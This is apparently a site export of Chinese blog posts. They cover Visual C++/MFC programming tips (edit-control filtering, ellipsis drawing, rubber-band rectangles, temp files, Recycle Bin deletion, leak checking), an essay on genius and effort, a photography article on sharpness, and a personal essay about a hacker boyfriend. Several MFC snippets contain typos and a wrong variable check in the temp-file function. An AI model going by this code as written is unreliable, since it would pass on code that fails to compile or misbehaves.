!= NULL)\noldCursor=SetCursor(m_hAniCursor);\nfor(long i=0;i\u0026lt;1000;i++) Sleep(5);\noldCursor=NULL;\nm_hAniCursor=NULL;\nEndWaitCursor(); //end wait cursor for api function\n九、如何限制编辑框中的准许字符\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果用户在编辑控件中只允许接收数字，可以使用一个标准的编辑控件并指\n定新的创建标志ES_NUMBERS,它是Windows 95新增加的标志，该标志限制 编辑控\n件只按收数字字符。\n如果用户需要复杂的编辑控件，可以使用Microsoft 的屏蔽编辑控件，它是一个很有用的OLE定制控件。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果希望不使用OLE 定制控件自己处理字符，可以派生一个CEdit 类并处理WM_CHAR消息，然后从编辑控件中过滤出特定的字符。首先，使用ClassWizard 建立一个 CEdit的派生类，其次，在对话类中指定一个成员变量将编辑控件分类在OnInitdialog 中调用CWnd: : SubclassDlgItem .\n//In your dialog class declaration (.H file )\nprivate :\n\u0026nbsp;\u0026nbsp;\u0026nbsp; CMyEdit m_wndEdit ; // Instance of your new edit control .\n//In you dialog class implementation (.CPP file )\nBOOL CSampleDialog : : OnInitDialog ( )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //Subclass the edit lontrod .\n\u0026nbsp;\u0026nbsp;\u0026nbsp; m_wndEdit .SubclassDlgItem (IDC_EDIT,this );\n\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026hellip;\n}\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 使用ClassWizard处理WM_CHAR消息，计算nChar参量并决定所执行的操作，用户可以确定是否修改、传送字符。下例说明了如何显示字母字符，如果字符是字母字符，则调用CWnd ; OnChar，否则不调用OnChar.\n//Only display alphabetic dharacters .\nvoid CMyEdit : : OnChar (UINT nChar , UINT nRepCnt , UITN nFlags )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //Determine if nChar is an alphabetic character .\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if (: : IsCharAlpha ( ( TCHAR) nChar ) )\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CEdit : : OnChar (nChar, nRepCnt , nFlags );\n}\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果要修改字符，则不能仅仅简单地用修改过的nChar调用CEdit : : OnChar。要修改一个字符，需要首先修改nChar，然后用修改过的nChar调用CWnd: : DefWindowProc。下例说明了如何将字符转变为大写：\n//Make all characters uppercase\nvoid CMyEdit : : OnChar (UINT nChar , UINT nRepCnt , UINT nFlags )\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //Make sure character is uppercase .\n\u0026nbsp;\u0026nbsp;\u0026nbsp; if (: : IsCharAlpha ( .( TCHAR) nChar)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; nChar=: : CharUpper (nChar ) ;\n\u0026nbsp;\u0026nbsp;\u0026nbsp; //Bypass default OnChar processing and directly call default window proc.\n\u0026nbsp;\u0026nbsp;\u0026nbsp; DefWindProc (WM_CHAR, nChar , MAKELPARAM (nRepCnt , nFlags )) ;\n}\n十、串太长时如何在其末尾显示一个省略号\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 调用CDC:: DrawText并指定DT_END_ELLIPSIS标志，这样就可以用小略号取代串末尾的字符使其适合于指定的边界矩形。如果要显示路径信息，指定DT_END_ELLIPSIS标志并省略号取代串中间的字符。\nvoid CSampleView:: OnDraw (CDC* pDC)\n{\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CTestDoc* pDoc=GetDocument ();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ASSERT_VALID (pDoc);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //Add ellpsis to end of string if it does not fit\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDC-\u0026gt;Drawtext (CString (\u0026quot;This is a long string\u0026quot;),\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CRect (10, 10, 80, 30), DT_LEFT | DT_END_ELLIPSIS);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //Add ellpsis to middle of string if it does not fit\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDC-\u0026gt;DrawText (AfxgetApp () -\u0026gt;m_pszhelpfilePath,\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CRect (10, 40, 200, 60), DT_LEFT | DT_PATH_ELLIPSIS);\n}\n十一、如何实现一个橡皮区矩形(具有踪迹矩形并可移动、缩放的矩形)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CRectTracker是一个很有用的类，可以通过调用CRectTracker:: TrackRubberBand响应WM_LBUTTONDOWN消息来创建一个橡皮区矩形。下例表明使用CRectTracker移动和重置视窗中的蓝色椭圆的大小是很容易的事情。\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 首先，在文档类中声明一个CRectTracker数据成员：\nclass CTestDoc: Public CDocument\n{\u0026hellip;\npublic:\nCRectTracker m_tracker;\n\u0026hellip;\n};\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 其次，在文档类的构造函数中初始化CRectTracker 对象：\nCTestDoc::CTestDoc()\n{\nm_tracker.m_rect.SetRect (10, 10, 300, 300);\nm_tracker.m_nStyle=CRectTracker:: resizeInside |\nCRectTracker:: dottedLine; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 然后，在视图类的OnDraw函数中画椭圆和踪迹矩形：\nvoid CTestView::OnDraw(CDC* pDC)\n{\nCTestDoc* pDoc = GetDocument();\nASSERT_VALID(pDoc);\n//Select blue brush into device context.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CBrush brush (RGB (0, 0, 255));\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CBrush* pOldBrush=pDC-\u0026gt;SelectObject (\u0026amp;brush);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //draw ellipse in tracking rectangle.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CRect rcEllipse;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDoc-\u0026gt;m_tracker.GetTrueRect (rcEllipse);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDC-\u0026gt;Ellipse (rcEllipse);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //Draw tracking rectangle.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDoc-\u0026gt;m_tracker.Draw (pDC);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //Select blue brush out of device context.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDC-\u0026gt;SelectObject(pOldBrush);\n}\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 最后，视图类中处理WM_LBUTTONDOWN消息，并增加下述代码。该段代码根据鼠标击键情况可以拖放、移动或者重置椭圆的大小。\nvoid CTestView::OnLButtonDown(UINT nFlags, CPoint point) {\n\u0026nbsp;\u0026nbsp; //Get pointer to document.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CTestDoc* pDoc=GetDocument();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ASSERT_VALID (pDoc);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //If clicked on ellipse, drag or resize it. Otherwise create a\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //rubber-band rectangle nd create a new ellipse.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; BOOL bResult=pDoc-\u0026gt;m_tracker.HitTest (point)!=\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; CRectTracker::hitNothing;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //Tracker rectangle changed so update views.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (bResult)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; {\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDoc-\u0026gt;m_tracker.Track (this,point,TRUE);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDoc-\u0026gt;SetModifiedFlag ();\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDoc-\u0026gt;UpdateAllViews (NULL);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; }\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; else\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; pDoc-\u0026gt;m_tracker.TrackRubberBand (this,point,TRUE);\nCView::OnLButtonDown(nFlags, point);\n}\n十二、如何在临时目录创建一个临时文件\n如果你要在临时目录下创建临时文件，下面的代码能帮到你的忙。\nbool GetuniqueTempName (CString\u0026amp; strTempName)\n{\nstrTempName=\u0026quot;\u0026quot;;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //Get the temporary files directory.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TCHAR szTempPath [MAX_PATH];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; DWORD dwResult=:: GetTempPath (MAX_PATH, szTempPath);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (dwResult==0) \u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; //Create a unique temporary file.\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; TCHAR szTempFile[MAX_PATH];\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; UINT nResult=GetTempFileName (szTempPath, _T (\u0026quot;~ex\u0026quot;),0,szTempFile);\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; if (dwResult==0) \u0026nbsp;\u0026nbsp; return false;\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; strTempName=szTempFile;\nreturn true;\n}\n十三、如何限制窗口的最小范围\n要限制窗体的大小，下面的代码能帮到你的忙。\n在CMainFrame中增加WM_GETMAXMININFO消息的处理函数，然后在这个函数中写代码如下:\n//限制主窗体的最小高度和宽度\nvoid CMainFrame::OnGetMinMaxInfo(MINMAXINFO FAR* lpMMI) {\nlpMMI-\u0026gt;ptMinTrackSize.x=600;\nlpMMI-\u0026gt;ptMinTrackSize.y=400;\nCNewFrameWnd::OnGetMinMaxInfo(lpMMI);\n}\n十四、怎样删除文件到回收站中\n要删除文件到回收站，很简单。只要用SHFileOperation函数就行了，下面的代码我将为你演示了这一个函数的用法。当然你可以直接拷贝到你的项目中。\n//删除文件到回收站中\n//pszPath : 待删除的全路径文件名\n//bDelete : TRUE 删除，不移到回收站，FALSE:移到回收站\n一、 //返回\u0026nbsp;\u0026nbsp;\u0026nbsp; : TRUE 删除成功\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; FALSE 删除失败\nBOOL CDelFileToRecycleDlg::Recycle(LPCTSTR pszPath, BOOL bDelete/*=FALSE*/)\n{\nSHFILEOPSTRUCT shDelFile;\nmemset(\u0026amp;shDelFile,0,sizeof(SHFILEOPSTRUCT));\nshDelFile.fFlags |= FOF_SILENT;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // don\u0026#8217;t report progress\nshDelFile.fFlags |= FOF_NOERRORUI;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // don\u0026#8217;t report errors\nshDelFile.fFlags |= FOF_NOCONFIRMATION;\u0026nbsp;\u0026nbsp;\u0026nbsp; // don\u0026#8217;t confirm delete\n// Copy pathname to double-NULL-terminated string.\n//\nTCHAR buf[_MAX_PATH + 1]; // allow one more character\n_tcscpy(buf, pszPath);\u0026nbsp;\u0026nbsp; // copy caller\u0026#8217;s pathname\nbuf[_tcslen(buf)+1]=0;\u0026nbsp;\u0026nbsp; // need two NULLs at end\n// Set SHFILEOPSTRUCT params for delete operation\nshDelFile.wFunc = FO_DELETE;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // REQUIRED: delete operation\nshDelFile.pFrom = buf;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // REQUIRED: which file(s)\nshDelFile.pTo = NULL;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // MUST be NULL\nif (bDelete)\n{\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // if delete requested..\nshDelFile.fFlags \u0026amp;= ~FOF_ALLOWUNDO;\u0026nbsp;\u0026nbsp;\u0026nbsp; // ..don\u0026#8217;t use Recycle Bin\n} else {\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; // otherwise..\nshDelFile.fFlags |= FOF_ALLOWUNDO;\u0026nbsp;\u0026nbsp;\u0026nbsp; // ..send to Recycle Bin\n}\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; return SHFileOperation(\u0026amp;shDelFile);\u0026nbsp;\u0026nbsp;\u0026nbsp; // do it!\n}\n十五、内存泄漏检查\n\u0026nbsp;\u0026nbsp;\u0026nbsp; 也许你已经知道，在C++和C语言中指针问题也就是内存申请与释放是一个令人头疼的事情，假如你申请了内存，但没有释放，并且你的程序需要长时间地运行，那么，系统的资源将逐渐减少，当系统的资源全部被用完时，系统将会崩溃。所以在开发程序的过程中一定要保证资源的完全释放。下面我们来介绍内存漏洞的检查。\n示例如下：\n// do your memory allocations and deallocations\u0026#8230;\nCString s = \u0026quot;This is a frame variable\u0026quot;;\n#ifdef _DEBUG\nCMemoryState oldMemState, newMemState, diffMemState;\noldMemState.Checkpoint();\n#endif\n// the next object is a heap object\nCString* p = new CString( \u0026quot;Smith Alan 581_0215\u0026quot; );\ndelete p;\np=NULL;\n#ifdef _DEBUG\nnewMemState.Checkpoint();\nBOOL b=diffMemState.Difference(oldMemState, newMemState);\nif (b)\n{\nAfxMessageBox( \u0026quot;Memory leaked!n\u0026quot; );\n}\n#endif\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 根据试验，由于我们无法释放掉象int CString char 申请的变量。只能释放指针型的变量。而检测内存时，照样会出现内存泄漏现象。所以，这种内存检测方式局限性还是很大。因为我们无法释放非指针型变量。\n","permalink":"https://hessian.cn/p/493.html","summary":"一、 一次只运行一个程序实例\n下列两种方式都可以实现，建议采用第二种方式：\n1、 if( FindWindow(NULL,\u0026quot;程序标题\u0026quot;)) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; exit(0);\n2、BOOL CDemoTBarEApp::InstanceIsRun()\n{\nHANDLE m_hMutex;\nm_hMutex = ::CreateMutex(NULL, TRUE, _T(\u0026quot;YourApplication\u0026quot;));\nASSERT(m_hMutex);\nif (GetLastError() == ERROR_ALREADY_EXISTS)\n{\nm_hMutex = NULL;\nreturn TRUE;//实例已经运行\n}\nreturn FALSE;//实例未运行\n}\n","title":"VC小技巧15则"},{"content":" 一个世纪，在此之间诞生的天才是屡见不鲜．先撇开文学政治经济军事类的不谈，光是科学界的都多到我们眼球发花，啊也看不完．甚至你是用走马观花的姿势去浏览，也会觉得不只是＂爱＂就一个字，人呀，＂多＂也一个字．但是天才的数目多可是件好事．为什么好呢？因为显而易见嘛：他们推动了科学的发展，为我们一般的人额外支出了巨大的脑力．因为一些深层次的问题，不是你一般的人想学，从而解答，然后造福民众，这样看似顺理成章就能轻松完成．它需要很大的精力和时间，但是更重要的是有良好的ＩＱ．那么不是天才的我们，为什么还要努力，努力的意义是不是也很深远呢？为了回答这个问题，下面我先谈谈那些天才到底＂天＂在哪里？\n先看看数学家高斯的天分：\n高斯是一对普通夫妇的儿子。他的母亲是一个贫穷石匠的女儿，虽然十分聪明，但却没有接受过教育，近似于文盲。在她成为高斯父亲的第二个妻子之前，她从事女佣工作。他的父亲曾做过园丁，工头，商人的助手和一个小保险公司的评估师。当高斯三岁时便能够纠正他父亲的借债帐目的事情，已经成为一个轶事流传至今。他曾说，他在麦仙翁堆上学会计算。能够在头脑中进行复杂的计算，是上帝赐予他一生的天赋。\n高斯用很短的时间计算出了小学老师布置的任务：对自然数从1到100的求和。他所使用的方法是：对50对构造成和101的数列求和（1＋100，2＋99，3＋98\u0026hellip;\u0026hellip;），同时得到结果：5050。这一年，高斯9岁。\n哥廷根大学当高斯12岁时，已经开始怀疑元素几何学中的基础证明。当他16岁时，预测在欧氏几何之外必然会产生一门完全不同的几何学。他导出了二项式定理的一般形式，将其成功的运用在无穷级数，并发展了数学分析的理论．１９岁的时候他第一次用圆规构出了规则的１７边型．\n的确，有良好的数学头脑是高斯老妈给他的．天就天在这，然而对数学的兴趣是使高斯发扬天才之能的后天条件～于是，你还是得相信努力是有意义的．不能因为你脑力有限，而放弃有兴趣但是却很艰辛的工作．\n我们大多数人，活在世间，努力都不是为了自己的兴趣．由于世界的飞速发展，时空的不停变换，导致了人们在意识形态上发生了很大的演化．于是，以后的生活都朝着被社会定调了的方向前进，远离了当初在大人面前说出理想时的你．没错，有时侯我们要现实点．比如一个很有能力的青年，在物资条件上遇到了困难，而放弃他的理想，是情有可原的．但是，这一个放弃，或许成就了他另一个人生．他可能凭着他的良好天分，在商场牟了大利，于是官场也逐步参与，入戏接着编剧，最后情场也得意．这个人生看来他会很满意，但是人民群众呢？满意吗？这得看他是不是好商，是否是个好官，他老婆呢？那就看他是个好男人吗．但是我想说，这个年代好商难做，好官不用说了，至于好男人嘛哈哈～～我笑了！\n于是，我们可以想见，天才的诞生很容易，只要有好的大脑就行了，可是最后服务人民的天才出来的容易吗？这个很难呀，就好比让习惯开宝马接ＭＭ的老板换成用拖拉机去拉客一样，难于上青天．\n近代的天才也蛮多的．比如我的偶像：爱因斯坦和霍金，都是物理界的大牌民星．他们的成就是巨大的．前者史无前例的提出了经典的狭义和广义相对论．后者在量子引力论，黑洞理论，和宇宙起源论上的贡献是怎能用三言两语打发了的．当然能做出这翻成就，和人生努力是分不开的．\n现在网络发达了，很多有为青年也开始努力了．他们在圈内被称为（奋青），于是每天除了上班或学习，吃饭，约会外他们的努力都用在了网络上．你一言，我一语的讨论得很有气愤，还一边感叹着这电子电脑可不是一般的好，是相当的呀．因为有了它们，骂人可以不用见面，一来少了口水相溅的不卫生，二来少了由口角纠缠导致的肉搏，以及由此衍生的通常的两种可能：进医院或派出所．这时候，他们真实为民的奋斗在现实社会中我们难以寻觅，只能常常看着博客中的风云四起，骂断这方群僚的祖宗后又说抡起斧头要砍你．我欲唤回鲁迅亡灵来和他们说理，又恐他也成了奋青的头领．\n总之，人嘛呀总要努力呀，先为自己，再为家人，最后为别人是这个时代的口号～～哈哈，但是人不能老是这样，有时把他人放前，会更有意义，当然会不会有好的待遇，那得看运气和看你咯～～～\n","permalink":"https://hessian.cn/p/505.html","summary":" 一个世纪，在此之间诞生的天才是屡见不鲜．先撇开文学政治经济军事类的不谈，光是科学界的都多到我们眼球发花，啊也看不完．甚至你是用走马观花的姿势去浏览，也会觉得不只是＂爱＂就一个字，人呀，＂多＂也一个字．但是天才的数目多可是件好事．为什么好呢？因为显而易见嘛：他们推动了科学的发展，为我们一般的人额外支出了巨大的脑力．因为一些深层次的问题，不是你一般的人想学，从而解答，然后造福民众，这样看似顺理成章就能轻松完成．它需要很大的精力和时间，但是更重要的是有良好的ＩＱ．那么不是天才的我们，为什么还要努力，努力的意义是不是也很深远呢？为了回答这个问题，下面我先谈谈那些天才到底＂天＂在哪里？\n","title":"不是天才，为什么还要努力？"},{"content":"有读者问：“我用普通35mm底片拍摄，能放大到20英寸吗？”能！因为经过几十年的不断研发，35mm胶卷的工艺极其成熟，不过根据业内专家介绍，实际上它的潜力仍然很大，如果方法适当，放大到20英寸以上毫无问题。 获得高锐度照片，锐度其实不是惟一因素。很多读者将锐度和分辨率混为一谈，其实，决定照片锐度的关键是分辨率而非锐度，而衡量分辨率以线对/毫米（line-pairs per millimeter，有时标注为pmm）为标准。人眼并不能分辨物体的细节本身，而是通过分辨细节的边缘来判定其锐度，因此很多人将高锐度的照片误以为高分辨率的照片，其实这是人眼观察和分辨物体的特点带来的认识误区———数码照片属于高锐度、低分辨率影像，而传统胶卷则是高分辨率、低锐度影像，很多读者认为数码照片分辨率高，正是这种误区的具体体现。顺带提及的是，光学中锐度的英文是“acutance”而非大多数媒体所用的“sharpness”。 回头再看35mm胶卷，由于其画幅很小，因此从拍摄到冲洗以至放大，容不得一点技术上的瑕疵，幸亏由于长时间使用，关于这方面的经验已经十分丰富，读者所要做的就是“知之、行之”。涉及照片锐度的主要包括镜头、胶卷和个人技术等三大方面共15个问题。 1.三脚架 很多摄影技术文章都建议摄影者重视使用三脚架，没有一个要素对影像质量有这么大的影响。但如果使用三脚架，一定要使用高质量的三脚架，不要打“用便宜的三脚架替代高档三脚架”的如意算盘。性能价格比很高的三脚架，每条腿都可以独立打开，而且重量合理、使用方便。有了优质的三脚架，还要有与之相配的云台，不仅应该能够快速装卸，而且可以适用于各种拍摄题材。国外的摄影师往往选择有“三脚架中的卡迪拉克”之称的捷信三脚架，而云台则选择瑞士阿卡照相机工厂生产的球形云台，它不仅能快速装卸，而且质量极为可靠，其加工工艺十分精良，绝对物有所值。使用三脚架时，最好只升到必要的高度，除非万不得已，升起中柱都是最后的选择。另外在刮风的天气里，三脚架的高度越低越好，或者使用重物加固三脚架。 不要被灿烂的阳光所迷惑，必须牢记手持摄影的基本规则：快门速度使用镜头焦距的倒数———即使是心脏的每次跳动，血液在身体里的流动都会导致手震。大多数摄影者都不认为心跳会对成像质量产生什么影响，不过根据有关的测算，脉搏会导致大约0.2毫米的位移，因此快门速度至少不能低于1/10秒。假如您使用的是一只高质量的镜头，其分辨能力为100 lpm，如果使用1/250秒快门速度手持摄影，即使0.2毫米的位移，也会导致其分辨能力降至78 1pm，损失大约22％的分辨能力；若是将快门速度进一步改为1/60秒，分辨率仅为30 1pm。因此，不要相信用60mm尼克尔微距镜头、以1/60秒快门速度手持摄影能够拍摄出足以放大到10英寸以上的照片。记住：使用三脚架是保证成像锐度的必要条件。 2.快门速度 三脚架不可能保证被摄主体不动，即使是拍摄山脉这样的风光题材，也不能忽视风吹叶动这样的问题，一旦这种移动与相机颤动以及其他因素叠加到一起，就会危及成像锐度。需要指出的是，如果您使用变焦镜头拍摄———比如一只70-200mm镜头，手动模式或快门先决模式下为70mm端时设定的最佳快门速度，如果快速变焦到200mm端时可能就忘记提高快门速度了，这时手震的影响急遽加大，会大大影响照片的锐度。 3.快门线 不要以为将相机装到三脚架上就一劳永逸了，要知道按快门的动作不论怎么轻盈，也能引发震动，使用快门线或自拍功能能够最大限度地减小机震问题。 4.对焦精度 有一个极为重要、却往往被忽视的问题：有些戴眼镜的摄影者会发现，戴不戴眼睛时的对焦精度相差很大。您用的是哪种对焦屏？有不少摄影者习惯于使用普通磨砂对焦屏，这种对焦屏适合于水平线较多的场合，但是对焦精度比裂像-微棱镜对焦屏差多了，如果你需要经常使用手动对焦，最好还是使用裂像-微棱镜对焦屏，以便摄影者的视觉可以在1－2秒内分辨出是否精确合焦。 5.使用最佳光圈 一只镜头各个光圈的分辨率相差很大，有时差一二级光圈，锐度就犹如天壤之别，不过事情并不总是这样，若是像f8和f11这样的“最佳光圈”，其分辨率和锐度都十分接近。有时，用f16和f22这样的光圈拍摄，景深很大，给人感觉锐度很大，其实由于衍射问题的影响，分辨率反而会下降。 6.衍射 衍射是一种很怪异的光学现象，当光线通过光圈时，靠近光圈叶片边缘的光线会产生偏移———这就是衍射，而接近光轴的光线则笔直地会聚到焦点上。如果光圈很小，那么衍射现象会变得十分严重。通常，便宜的镜头和光学设计做得较差，衍射问题就更为明显了。很多镜头在f22到f32时，分辨率比f16会下降很多。 7.镜头 买你能买得起的最贵的镜头！这已经是老生常谈了，但很多摄影者仍然做不到这一点。不过目前，很多镜头生产厂商借助超级计算机已经推导出了先进的光学公式，获得了极佳的光学设计，而且这些镜头的成像锐度非常高，却便宜得唾手可得，无论是光学结构、耐用性和可靠性都非常出色。相比之下，一只昂贵的专业镜头并不仅仅是大光圈这一点，如果你用慢速胶卷或使用低感光度设置拍摄，或者遇到其他极端的环境，才能体会出专业镜头在成像锐度上的优势。（未完待续） 来源：中国摄影家协会 ","permalink":"https://hessian.cn/p/323.html","summary":"有读者问：“我用普通35mm底片拍摄，能放大到20英寸吗？”能！因为经过几十年的不断研发，35mm胶卷的工艺极其成熟，不过根据业内专家介绍，实际上它的潜力仍然很大，如果方法适当，放大到20英寸以上毫无问题。 ","title":"影响照片锐度的15个要素"},{"content":"和他在一起是第38天了，漫长的日子仿佛一瞬间而已。 我坐在电脑这头，他在网络另一头回应我的呼喊。我想这样是完美的，至少我们都可以给对方最多的幻想，让彼此有时间和空间去幻想对方的好，忽略一切不美好的事情。这就是网络的魅力。我是要感激吗？ 是的，我爱上了个黑客。 先解释为什么我非要爱黑客不可呢？我很喜欢电脑，虽然我是学法律的，在法律的圈子里我找到的是官场和政治的束缚，我要自由确无处可找。于是我宁愿要电脑不要老公。认识我的朋友全部都知道。那么要想两全其美就只可能找个精通计算机的老公。就这么简单的原因。 遇见他，是幸运还是老天爷的玩笑？ 他深私一湖不可见底的池水，你永远猜不透他在做什么。 今天你还在学习旁注，可是他已经开始看脱壳的教程了，好不容易会一点点脱壳的东西，他又开始研究什么木马。我不管多么努力，永远都是在他身后追逐。 有时候我觉得我很幸福，圣诞节的时候他会做个世界上独一无二的程序给你，上面写着你的名字\u0026hellip;\u0026hellip;说明我也是他的独一无二；然后我有不明白的问题他会给我做个动画让我明白；还有我永远忘不了他邀请我到他电脑里面捣乱，他就静静地看着，什么也不说，什么也不做，就这样看着，任凭你象个小孩子般乱翻他的文件。他也会很宠我，尽管我已经千百次给自己说\u0026ldquo;他忙的时候别和他聊天\u0026rdquo;，可是忍不住打扰他了，他却在第一时间回复我；还有他忙过了会陪我打泡泡，我们一起打，两个人菜得可以，他也不厌其烦地陪我打，尽管他不是很喜欢泡泡，当你不小心中招了，他突然停止一切活动，只是看着你，不忍心\u0026ldquo;杀\u0026rdquo;死我；还有，我写的每一篇文章他都会去看，我说的每一句话他都记得，我的每个小小要求他都记在心中，我的每次任性他都纵容了；他有10个QB的话会记得给我9个；他知道我睡觉前没听他说\u0026ldquo;晚安\u0026rdquo;就不安稳，所以他夜夜和我说晚安；他会记得经常检查我BLOG的漏洞，然后立刻补好，也会帮我备份；我要的任何软件刚说出口他就立刻给我传过来；在2004年最后一秒2005年第一秒他会亲昵地对我说\u0026ldquo;新年快乐\u0026rdquo;；我这里下第一场雪的时候他会陪我一起开心；即使一个问题我问了N次，他也会尽量耐心地再次给我解释；我想要恶作剧的时候你总是第一个支持我的人；我唠叨的时候你总是静静听我说\u0026hellip;\u0026hellip; 